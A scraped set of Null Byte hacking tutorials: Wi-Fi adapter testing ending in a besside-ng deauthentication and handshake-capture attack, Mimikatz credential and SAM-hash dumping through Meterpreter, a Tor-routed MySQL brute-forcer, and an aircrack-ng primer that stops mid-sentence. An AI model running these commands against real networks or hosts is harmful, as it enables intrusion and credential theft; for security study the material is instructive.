Should Be Aware OfHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:Hack websites with SQL injectionHow To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Enumerate MySQL Databases with MetasploitHow To:Query a MySQL database with MYSQLI and SQL queriesHow To:Gather Information on PostgreSQL Databases with MetasploitHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 13 (Browser Forensics)How To:Get everything you need to start teaching yourself MySQLHow to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Build complex SQL queries with DreamCoder for MySQLHow To:Use JOIN vs. UNION in SQLBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]How To:Protect against SQL injection attacks when programming in PHPHow To:Add, save & retrieve data in SQL Server using C# programming & Visual StudioHow To:SQL Injection Finding Vulnerable Websites..How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseCoding with Typo:Structured Query Language (SQL) - Yes/No?How To:Spider Web Pages with Nmap for SQLi VulnerabilitiesNews:Hardvard.edu Remote SQL 0dayGoogle Dorking:AmIDoinItRite?How To:Protect Your PHP Website from SQL Injection HacksHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Enable full-text search in an SQL databaseHow To:Use Perl to Connect to a Database
How to Check if Your Wireless Network Adapter Supports Monitor Mode & Packet Injection « Null Byte :: WonderHowTo
Tohack a Wi-Fi network, you needyour wireless cardto support monitor mode and packet injection. Not all wireless cards can do this, but you can quickly test one you already own for compatibility, and you can verify that the chipset inside an adapter you're thinking of purchasing will work for Wi-Fi hacking.Wireless cards supporting monitor mode and packet injection enable an ethical hacker to listen in on other Wi-Fi conversations and even inject malicious packets into a network. The wireless cards in most laptops aren't very good at doing anything other than what's required to establish a basic Wi-Fi connection.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2018While some internal cards may offer some support for monitor mode, it's more common to find that your card isn't supported for tools included in Kali Linux. I found the card in a Lenovo laptop I use to support both, so sometimes it's possible to save by using your internal laptop card for practice when appropriate. If the internal one doesn't support the modes, an external one will be needed.External network adapters average between $15 and $40 per card. While this may not seem like much, making a mistake in purchasing a network adapter can add up quickly and be discouraging when first learning about Wi-Fi security.These devices may seem a little complicated at first, but they're pretty simple. Each wireless network adapter has a chip inside of it that contains its own CPU. This chip, along with the other circuitry in the adapter, translates signals from your computer into radio pulses called "packets," which transfer information between devices. Choosing a Wi-Fi adapter requires you to know about a few things, such as the chipset inside, the antenna in use, and the types of Wi-Fi that the card support.Jump to a Section:Check a Perspective Card|Test an Existing Card|Try an Attack Out to Make Sure It WorksOption 1: Check an Adapter's Chipset Before You BuyIf you haven't yet purchased the wireless network card you're considering, there are several ways you can check to see if it supports monitor mode and packet injection before committing to a purchase. Before we dive into those, however, you need to know the difference between manufacturers, so there's no confusion.Identifying the Card's SellerThe seller is, you guess it, the manufacturer selling the network adapter. Examples include TP-link, Panda Wireless, or Alfa. These manufacturers are responsible for the physical layout and design of the adapter but do not produce the actual CPU that goes inside the adapter.Identifying the Chip MakerThe second manufacturer is the one that makes the chip that powers the adapter. The chip is what controls the behavior of the card, which is why it's much more important to determine the chipset manufacturer than the adapter manufacturer. For example, Panda Wireless cards frequently use Ralink chipsets, which is the more critical piece of information to have.Determining the ChipsetCertain chipsets are known to work without much or any configuration needed for getting started, meaning that you can expect an adapter containing a particular supported chipset to be an easy choice.A good place to start when looking up the chipset of a wireless network adapter you're considering buying is Aircrack-ng's compatibility pages. Theolder "deprecated" versionstill contains a lot of useful information about the chipsets that will work with Aircrack-ng and other Wi-Fi hacking tools.Thenewer versionof the Aircrack-ng guide is also useful for explaining the way to check newer cards for compatibility, although it lacks an easy-to-understand table for compatibility the way the deprecated page does.Aside from Aircrack-ng's website, you can often look up card details on a resource like theWikiDevidatabase, which allows you to look up details on most wireless network adapters. Another resource is thelist of officially supported Linux drivers, which includes a handy table showing which models support monitor mode.Atheros chipsets are especially popular, so if you suspect your device contains an Atheros chipset, you can check anAtheros-only guide.Having a hard time finding the chipset of a card you're looking for? You can find a picture of the FCC ID number on the sticker of the device. The number can be input into websites likeFCCID.iowhich include internal photos of the chipsets in use.Once you've determined the chipset of the device you're considering, you should be able to predict its behavior. If the chipset of the wireless network adapter you're considering is listed as supporting monitor mode, you should be good to go.Knowing Which Card Is Worth ItTo make things easy on you, the following chipsets are known to support monitor mode and packet injection per our testing:Atheros AR9271:TheAlfa AWUS036NHAis my favorite long-range network adapter and the standard by which I judge other long-range adapters. It's stable, fast, and a well-supported b/g/n wireless network adapter. There's also theTP-Link TL-WN722N, a favorite for newbies and experienced hackers alike. It's a compact b/g/n adapter that has one of the cheapest prices but boasts surprisingly impressive performance. That being said, only v1 will work with Kali Linux since v2 uses a different chipset.Ralink RT3070:This chipset resides inside a number of popular wireless network adapters. Of those, theAlfa AWUS036NHis a b/g/n adapter with an absurd amount of range. It can be amplified by the omnidirectional antenna and can be paired with aYagiorPaddleantenna to create a directional array. For a more discreet wireless adapter that can be plugged in via USB, theAlfa AWUS036NEHis a powerful b/g/n adapter that's slim and doesn't require a USB cable to use. It has the added advantage of retaining its swappable antenna. If you need a stealthier option that doesn't look like it could hack anything, you might consider the g/nPanda PAU05. While small, it's a low profile adapter with a strong performance in the short and medium range, a reduced range for when you want to gather network data without including everything within several blocks.Ralink RT3572:While the previous adapters have been 2.4 GHz only, theAlfa AWUS051NH v2is a dual-band adapter that is also compatible with 5 GHz networks. While slightly pricier, the dual-band capacity and compatibility with 802.11n draft 3.0 and 802.11a/b/g wireless standards make this a more advanced option.Realtek 8187L (Wireless G adapters):TheAlfa AWUS036HUSB 2.4 GHz adapters use this older chipset that is less useful and will not pick up as many networks. These cards still will work against some networks, thus are great for beginners, as there are a ton around for cheap.Realtek RTL8812AU:Supported in 2017, theAlfa AWUS036ACHis a beast, with dual antennas and 802.11ac and a, b, g, n compatibility with 300 Mbps at 2.4 GHz and 867 Mbps at 5 GHz. It's one of the newest offerings that are compatible with Kali, so if you're looking for the fastest and longest range, this would be an adapter to consider. To use it, you may need to first run "apt update" followed by "apt install realtek-rtl88xxau-dkms" which will install the needed drivers to enable packet injection.Aircrack-ng alsolists a few cardsas best in class on its site, so if you're interested in more suggestions, check it out (some of the ones listed above are also on its list). Also, check out ourhead-to-head test of wireless network adapterscompatible with Kali Linux.More Info:Select a Field-Tested Kali Linux Compatible Wireless AdapterOn Amazon:Alfa AWUS036NHA Wireless B/G/N USB AdapterOther Considerations in Adapter SelectionAside from the chipset, another consideration is the frequency on which the adapter operates. While most Wi-Fi devices, including IoT devices, operate on the older 2.4 GHz band, many newer devices also offer 5 GHz networks. These networks are generally faster and can transfer more data, but are also usually paired with a 2.4 GHz network. The question when purchasing then becomes, is it worth it to invest the extra money in a 2.4/5 GHz antenna that can detect (and attack) both?In many cases, unless the point of your attack is to probe all of the available networks in an area, a 2.4 GHz card will be fine. If 5 GHz is important to you, there are many 5 GHz Wi-Fi cards that support monitor mode and packet injection, an example being thePanda Wireless Pau09.On Amazon:Panda Wireless PAU09 N600 Dual Band (2.4 GHz / 5 GHz) Wireless N USB AdapterAnother important factor is determining whether you need to mount a specialized antenna. While most omnidirectional antennas will be fine for a beginner, you may want to switch to an antenna with a directional pattern to focus on a particular network or area rather than everything in a circle around you. If this is the case, look for adapters with antennas that can be removed and swapped with a different type.Option 2: Test Your Existing Wireless Network AdapterIf you already have a wireless network adapter, you can check pretty easily if the chipset inside supports monitor mode and packet injection. To start, plug in the network adapter and then open a terminal window. You should be able to determine the chipset of the network adapter by simply typinglsusb -vvinto the terminal window and looking for an output similar to below.lsusb -vv Bus 001 Device 002: ID 148f:5372 Ralink Technology, Corp. RT5372 Wireless Adapter Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x148f Ralink Technology, Corp. idProduct 0x5372 RT5372 Wireless Adapter bcdDevice 1.01 iManufacturer 1 Ralink iProduct 2 802.11 n WLAN iSerial 3 (error) bNumConfigurations 1In my example, I'm looking at aPanda Wireless PAU06network adapter, which reports having an RT5372 chipset from Ralink, which is listed as supported! Once you know the chipset of your card, you should have a rough idea of what it can do.Testing Your Adapter's AbilitiesNow, let's move on to more active testing of the adapter's capabilities.Step 1: Put Your Card in Monitor ModeFor this step, we'll break out Airmon-ng, but before that, you'll need to locate the name of the interface. On your system, run the commandifconfig(orip a) to see a list of all devices connected. On Kali Linux, your card should be listed as something like wlan0 or wlan1.ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255 inet6 fe80::a00:27ff:fe59:1b51 prefixlen 64 scopeid 0x20<link> ether 86:09:15:d2:9e:96 txqueuelen 1000 (Ethernet) RX packets 700 bytes 925050 (903.3 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 519 bytes 33297 (32.5 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 20 bytes 1116 (1.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 20 bytes 1116 (1.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether EE-A5-3C-37-34-4A txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Once you have the name of the network interface, you can attempt to put it into monitor mode by typingairmon-ng start wlan0(assuming your interface name is wlan0). If you see the output below, then your card appears to support wireless monitor mode.airmon-ng start wlan0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 428 NetworkManager 522 dhclient 718 wpa_supplicant PHY Interface Driver Chipset phy1 wlan0 rt2800usb Ralink Technology, Corp. RT5372 (mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon) (mac80211 station mode vif disabled for [phy1]wlan0)You can confirm the results by typingiwconfig, and you should see the name of your card has changed to add a "mon" at the end of your card's name. It should also report "Mode:Monitor" if it has been successfully put into monitor mode.iwconfig wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:offStep 2: Test Your Card for Packet InjectionTesting for packet injection is fairly straightforward to test thanks to tools included in Airplay-ng. After putting your card into monitor mode in the last step, you can run a test to see if the wireless network adapter is capable of injecting packets into nearby wireless networks.Starting with your interface in monitor mode, make sure you are in proximity to a few Wi-Fi networks so that the adapter has a chance of succeeding. Then, in a terminal window, typeaireplay-ng --test wlan0monto start the packet injection test.Don't Miss:Disable Cameras on Any Wireless Network with Aireplay-ngaireplay-ng --test wlan0mon 12:47:05 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE) on channel 7 12:47:05 Trying broadcast probe requests... 12:47:06 Injection is working! 12:47:07 Found 1 AP 12:47:07 Trying directed probe requests... 12:47:07 AA:BB:CC:DD:EE - channel: 7 - 'Dobis' 12:47:08 Ping (min/avg/max): 0.891ms/15.899ms/32.832ms Power: -21.72 12:47:08 29/30: 96%If you get a result like above, then congratulations, your network card is successfully injecting packets into nearby networks. If you get a result like the one below, then your card may not support packet injection.aireplay-ng --test wlan0mon 21:47:18 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE) on channel 6 21:47:18 Trying broadcast probe requests... 21:47:20 No Answer... 21:47:20 Found 1 AP 21:47:20 Trying directed probe requests... 21:47:20 74:85:2A:97:5B:08 - channel: 6 - 'Dobis' 21:47:26 0/30: 0%Step 3: Test with an Attack to Make Sure Everything WorksFinally, we can put the above two steps into practice by attempting to capture a WPA handshake usingBesside-ng, a versatile and extremely useful tool for WPA cracking, which also happens to be a great way of testing if your card is able to attack a WPA network.Don't Miss:Automating Wi-Fi Hacking with Besside-ngTo start, make sure you have a network nearby you have permission to attack. By default, Besside-ng will attack everything in range, and the attack is very noisy. Besside-ng is designed to scan for networks with a device connected, then attack the connection by injecting deauthentication packets, causing the device to momentarily disconnect. When it reconnects, a hacker can use the information exchanged by the devices to attempt to brute-force the password.Type thebesside-ng -R 'Target Network' wlan0moncommand, with the-Rfield replaced with the name of your test network. It will begin attempting to grab a handshake from the victim network. For this to work, there must be a device connected to the Wi-Fi network you're attacking. If there isn't a device present, then there is no one to kick off the network so you can't try to capture the handshake.besside-ng -R 'Target Network' wlan0mon [21:08:54] Let's ride [21:08:54] Resuming from besside.log [21:08:54] Appending to wpa.cap [21:08:54] Appending to wep.cap [21:08:54] Logging to besside.logIf you get an output like below, then congratulations! Your card is capable of grabbing handshakes from WPA/WPA2 networks. You can also check outour guide on Besside-ngto understand more about what a Besside-ng attack is capable of.besside-ng wlan0mon [03:20:45] Let's ride [03:20:45] Resuming from besside.log [03:20:45] Appending to wpa.cap [03:20:45] Appending to wep.cap [03:20:45] Logging to besside.log [03:20:56] TO-OWN [DirtyLittleBirdyFeet*, Sonos*] OWNED [] [03:21:03] Crappy connection - Sonos unreachable got 0/10 (100% loss) [-74 dbm] [03:21:07] Got necessary WPA handshake info for DirtyLittleBirdyFeet [03:21:07] Run aircrack on wpa.cap for WPA key [03:21:07] Pwned network DirtyLittleBirdyFeet in 0:04 mins:sec [03:21:07] TO-OWN [Sonos*] OWNED [DirtyLittleBirdyFeet*]A Flexible Network Adapter Is Key to Wi-Fi HackingA powerful wireless network adapter with the ability to inject packets and listen in on Wi-Fi conversations around it gives any hacker an advantage over the airwaves. It can be confusing picking the right adapter for you, but by carefully checking the chipset contained, you can ensure you won't be surprised when you make your purchase. If you already have an adapter, putting it through its paces before using it in the field is recommended before you rely on it for anything too important.I hope you enjoyed this guide to testing your wireless network cards for packet injection and wireless monitor mode. If you have any questions about this tutorial on Kali-compatible wireless network adapters or you have a comment, feel free to reach me on [email protected]'t Miss:Hack Wi-Fi & Networks More Easily with Lazy ScriptFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hack WPA WiFi Passwords by Cracking the WPS PINGuide:Wi-Fi Cards and ChipsetsHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Spy on Network Relationships with Airgraph-NgHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Hack WiFi Using a WPS Pixie Dust AttackHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Hack Wi-Fi Networks with BettercapHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Crack Wi-Fi Passwords—For Beginners!How to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Get Free Wi-Fi from Hotels & MoreHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get Packet Injection Capable Drivers in LinuxHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelHow To:Bypass a Local Network Proxy for Free InternetHow To:Use Wireshark to Steal Your Own Local Passwords
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz) « Null Byte :: WonderHowTo
Welcome back, my neophyte hackers!Metasploitis such a powerful tool that I can only scratch the surface of its capabilities here. As it has developed over the years, it is now possible to use Metasploit for nearly everything from recon to post exploitation to covering your tracks. Given its versatility, every aspiring hacker should have at least a tentative grasp of Metasploit.Every so often, a post-exploitation module comes out that is so powerful that every Metasploit user should be aware of it and learn to use it.Mimikatzis one such modules. It was created byBenjamin Delpy, akagentilkiwi, who developed it to teach himself C and to explore Windows security. Basically, it is capable of extracting various sets of Windows credentials from memory.Mimikatz was originally developed as standalone module that we can upload to the target or run locally on the target, but recently, Rapid7 has ported it for Metasploit and made it available asMeterpreter script. The advantage of this is that it will run entirely in memory and will not leave a footprint on the hard drive that might be detected.In this tutorial, we will be using the Metasploit module which is a bit limited in its capabilities, but I promise to do a tutorial soon on the more powerful standalone tool.One other key point before we begin: there are both 32- and 64-bit versions of Mimikatz. Often, Mimikatz will load the 32-bit version if we have used a 32-bit process to compromise the system. If that happens, Mimikatz will be largely non-functional. To avoid this potential problem, use the "migrate" command to migrate the Meterpeter to a 64-bit process before loading Mimkatz. In that way, it will load the 64-bit version and you will enjoy all of its amazing capabilities.Step 1: Exploit the Target & Get a Meterpreter PayloadMimikatz is a post-exploitation module, meaning that it can only be used after the target has been exploited. As a result, I will begin this module assuming that you have successfully exploited the target and have the Meterpreter payload installed on the target system. In addition, you will need to have sysadmin privileges on the target for Mimikatz to work. If you exploited the target as a regular user, you can use thegetsystemcommand to escalate privileges.meterpreter > getsystemNow that we have "system" privileges, we need to load the Mimikatz module.meterpreter > load mimikatzNext, let's get a help screen.meterpreter > help mimikatzAs you can see, Mimikatz has a number of native commands and a specialmimikatz_commandto run custom commands.Before we advance, let's check the version of Mimikatz.meterpreter > mimikatz_command -f versionMetasploit has only ported version 1.0, although Mimikatz is in version 2.0 (watch for my coming tutorial using the standalone version 2.0 of Mimikatz).Step 2: Native CommandsLet's start by looking to see what we can do to the system with the native commands. If we want to retrieve the Kerberos credentials, we simply need to type:meterpreter > kerberosWe can retrieve Windows MSV credentials by simply typing:meterpreter > msvStep 3: Mimikatz__CommandMimikatz also enables us to create custom commands. The commands take the following syntax. Please note the double colon (::) between the command type and the command action.mimikatz_command -f <type of command>::<command action>If we want to retrieve password hashes from the SAM file, we can type:meterpreter > mimikatzcommand -f samdump::hashesOf course, with these hashes, we can then crack them with any of a number of password cracking tools such Cain and Abel, Hashcat, John the Ripper, and others.If we want to get a list of services running on the target system, we can use the command typeservicecombined with the command actionlist.meterpreter > mimikatz_command -f service::listStep 4: CryptoMimikatz has a special command type that addresses cryptography and, as a you might expect, it is calledcrypto. Using this custom command, we can get a list of cryptography providers on the target system.meterpreter > mimikatz_command -f crypto::listProvidersIf we want to know where the various cryptography stores are located, we can type:meterpreter > mimikatz_command -f crypto::listStoresMimikatz is just another powerful tool for the penetester/hacker. Before attempting to use Mimkatz, make certain that you are fairly proficient in the use of Metasploit by going through myMetasploit serieshere on Null Byte. Also, look for my coming tutorial on the standalone Mimikatz 2.0, so keep coming back, my neophyte hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)How To:The Essential Skills to Becoming a Master HackerMac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:The Hacker MethodologyHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)How to Hack Databases:Hunting for Microsoft's SQL ServerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Let Me Introduce Myself
How to Create a MySQL Server BruteForce Tool with Python « Null Byte :: WonderHowTo
Hello aspiring hackers, It's been a while since I wrote a tutorial, so I figured I might just share one of the tools that I have created to help the community grow.ScenarioLet's say, that we have done all the recon(both passive and active) and we have scanned the web server for any vulnerabilities, and unfortunately we haven't got any server-side vulnerabilities but just a few client-side vulnerabilites and we all know how that isn't much help sometimes. So you scan for open ports and find that we have a 3306 port open(default port for mysql server). That's really good, if we can get access to it, cos we can upload shells and add more users to the database and other cool stuff. So let's begin...Step 1: Import Modules and Settings for ArgumentsSo python, has a module that we gonna use for the tool. You will just have to install the module for your OS. And for thesocksmodule as well, I'm sorry i don't have a link, but if you google it, you should find it easily. And that's what we will be using for anonymity.(We will be bruteforcing through the TOR network, so it will be slow). But you can just comment that line of code out if you want better speed or something...Image viaimgur.comStep 2: Threading and DictionarySince we gonna be bruteforcing, it is obvious that speeds is very important, so I included threading, so that we can be bruteforcing about 10 passwords at once. That will be really loud, but I think it's worth it. And also, we on TOR, so I guess we kinda safe.Image viaimgur.comStep 3: The Real DealSo ourmysql_brutefunction is where the magic happens, so what happens is, when we try to connect to the target server with the username and password and it fails, then we know that's not it. (I know right, that simple), but if we are successful, they ourcodevariable changes and we know we got a hit.And for thethreader, it just gets the value of the password from the queue to try and passes it to the function.Image viaimgur.comConclusionThanks for taking the time to read this. Well, if you have any questions, just ask and I will get to you as soon as i can. Happy hacking.God bless you.Wuzi out.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How to Hack Databases:Hacking MySQL Online Databases with SqlmapHow To:Web Development 01 - Setting Everything UpHow To:Develop a social networking community website with PHP, MySQL & ActionScript 3How To:Setup PHP and MySQL for your Mac Mini serverHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)SPLOIT:How to Make an SSH Brute-Forcer in PythonHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)How To:Program Your Own Little RAT (Part 1) Getting the Server WorkingNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Make a Change-of-IP Notifier in PythonHow To:Make a Gmail Notifier in PythonHow To:Code a Basic TCP/IP Client & Server Duo in PythonHack Logs and Linux Commands:What's Going On Here?Community Contest:Code the Best Hacking Tool, Win Bragging RightsHow To:Push and Pull Remote Files Securely Over SSH with PipesCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Learning Python 3.x as I go (Last Updated 6/72012)Community Byte:Coding an IRC Bot in Python (For Beginners)News:Learn to Code in Python, Part One: Variables, Input and OutputGoodnight Byte:Coding an IRC Bot in Python (For Beginners)
How to Hack Wi-Fi: Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking Tools « Null Byte :: WonderHowTo
Welcome back, my fledgling hackers!In the first part of my series onWi-Fi hacking, we discussed thebasic terms and technologiesassociated with Wi-Fi. Now that you have a firm grip on what Wi-Fi is exactly and how it works, we can start diving into more advance topics onhow to hack Wi-Fi.In this article, we'll take a look at the world's best Wi-Fi hacking software,aircrack-ng, which we previously used tobump your annoying neighbor off their own Wi-Fi network. We'll be using aircrack-ng in nearly all of the subsequent hacks, so I think it's wise to start with some basics on what is included and how to use everything.Need a wireless network adapter?Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2017For this to work, we'll need to use a compatible wireless network adapter. Check out our 2017 list of Kali Linux and Backtrack compatible wireless network adapters in the link above, or you can grabour most popular adapter for beginners here.Check out our post on picking the best adapter for Wi-Fi hacking!Image by SADMIN/Null ByteFirst of all, aircrack-ng is not a single tool, but rather a suite of tools for manipulating and cracking Wi-Fi networks. Within this suite, there is a tool calledaircrackfor cracking passwords, but to get to the cracking we need to do several steps using other tools. In addition, aircrack-ng is capable of doing DOS attacks as well rogue access points, caffe latte, evil twin, and many others.So, let's get started with the aircrack-ng suite!Quick NoteThengstands fornew generation, as aircrack-ng replaces an older suite calledaircrackthat is no longer supported.Step 1: IwconfigBefore we get started with aircrcak-ng, we need to make certain thatBackTrackrecognizesyour wireless adapter. We can do this within any Linux system by typing:bt > iwconfigWe can see here that BackTrack recognizes my USB wireless card, and it tells me that it's capable of 802.11bgn, that the ESSID is off, that the mode is managed, etc.Okay, now we're ready to start using aircrack-ng.Step 2: Airmon-NgThe first tool we will look at and need in nearly ever WiFi hack isairmon-ng, which converts our wireless card into a promiscuous mode wireless card. Yes, that means that our wireless card will hookup with anyone!Well, that's almost correct. When our network card is in promiscuous mode, it means that it can see and receive all network traffic. Generally, network cards will only receive packets intended for them (as determined by the MAC address of the NIC), but with airmon-ng, it will receive all wireless traffic intended for us or not.We can start this tool by typingairmon-ng, theaction(start/stop), and then theinterface(mon0):bt > airmon-ng start wlan1Airmon-ng responds with some key information on our wireless adapter including the chipset and driver. Most importantly, note that it has changed the designation for our wireless adapter from wlan1 to mon0.Step 3: Airodump-NgThe next tool in the aircrack-ng suite that we will need isairodump-ng, which enables us to capture packets of our specification. It's particularly useful in password cracking.We activate this tool by typing theairodump-ngcommand and therenamed monitor interface(mon0):bt >airodump-ng mon0As we can see in the screenshot above, airodump-ng displays all of the APs (access points) within range with their BSSID (MAC address), their power, the number of beacon frames, the number of data packets, the channel, the speed, the encryption method, the type of cipher used, the authentication method used, and finally, the ESSID.For our purposes of hacking WiFi, the most important fields will be the BSSID and the channel.Step 4: Aircrack-NgAircrack-ngis the primary application with the aircrack-ng suite, which is used for password cracking. It's capable of using statistical techniques to crack WEP and dictionary cracks for WPA and WPA2 after capturing the WPA handshake.Step 5: Aireplay-NgAireplay-ngis another powerful tool in our aircrack-ng arsenal, and it can be used to generate or accelerate traffic on the AP. This can be especially useful in attacks like a deauth attack that bumps everyone off the access point, WEP and WPA2 password attacks, as well as ARP injection and replay attacks.Aireplay-ng can obtain packets from two sources:A live stream of packets, orA pre-captured pcap fileThe pcap file is the standard file type associated with packet capture tools like libpcap and winpcap. If you've ever used Wireshark, you've most likely worked with pcap files.We can see in the screenshot above of the first half of the aireplay-ng help screen, that aireplay can filter by the BSSID of the access point, the MAC address of either source or destination, the minimum and maximum packet length, etc. If we scroll down the help screen, we can see some of the attack options using aireplay-ng:These include deauth, fake deauth, interactive, arpreplay (necessary for fast WEP cracking), chopchop (a form of statistical technique for WEP packet decrypting without cracking the password), fragment, caffe latte (attacking the 